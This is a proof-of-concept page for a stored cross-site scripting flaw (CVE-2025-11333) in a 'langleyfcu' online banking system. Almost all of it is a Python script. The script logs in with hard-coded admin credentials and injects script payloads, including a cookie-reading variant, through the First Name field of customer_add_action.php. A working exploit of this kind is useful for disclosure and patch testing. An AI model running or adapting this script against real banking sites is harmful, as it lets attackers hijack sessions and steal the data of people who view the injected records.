CVE-2025-11333：langleyfcu在线银行系统存在存储型XSS漏洞

# CVE-2025-11333 PoC - Stored XSS in langleyfcu Online Banking System # Vulnerability Location: /customer_add_action.php # Vulnerable Parameter: First Name import requests # Target configuration TARGET_URL = "http://target-bank-system.com" LOGIN_URL = f"{TARGET_URL}/login.php" ADD_CUSTOMER_URL = f"{TARGET_URL}/customer_add_action.php" # Attacker credentials (requires high privilege account) USERNAME = "admin" PASSWORD = "password123" # Malicious payload for XSS injection in First Name field XSS_PAYLOAD = '<script>alert("XSS");</script>' # Alternative payloads: # XSS_PAYLOAD = '<img src=x onerror=alert(document.cookie)>' # XSS_PAYLOAD = '<svg/onload=alert("XSS")>' def exploit_xss(): """ Exploit stored XSS vulnerability in customer_add_action.php by injecting malicious script through the First Name parameter. """ session = requests.Session() # Step 1: Login to obtain authenticated session login_data = { "username": USERNAME, "password": PASSWORD } session.post(LOGIN_URL, data=login_data) # Step 2: Inject malicious payload via First Name parameter customer_data = { "first_name": XSS_PAYLOAD, "last_name": "TestUser", "email": "[email protected]", "phone": "1234567890", "address": "Test Address" } response = session.post(ADD_CUSTOMER_URL, data=customer_data) if response.status_code == 200: print("[+] XSS payload injected successfully!") print(f"[+] Payload: {XSS_PAYLOAD}") print("[+] When any user views the customer list, the script will execute.") else: print(f"[-] Failed to inject payload. Status code: {response.status_code}") if __name__ == "__main__": exploit_xss()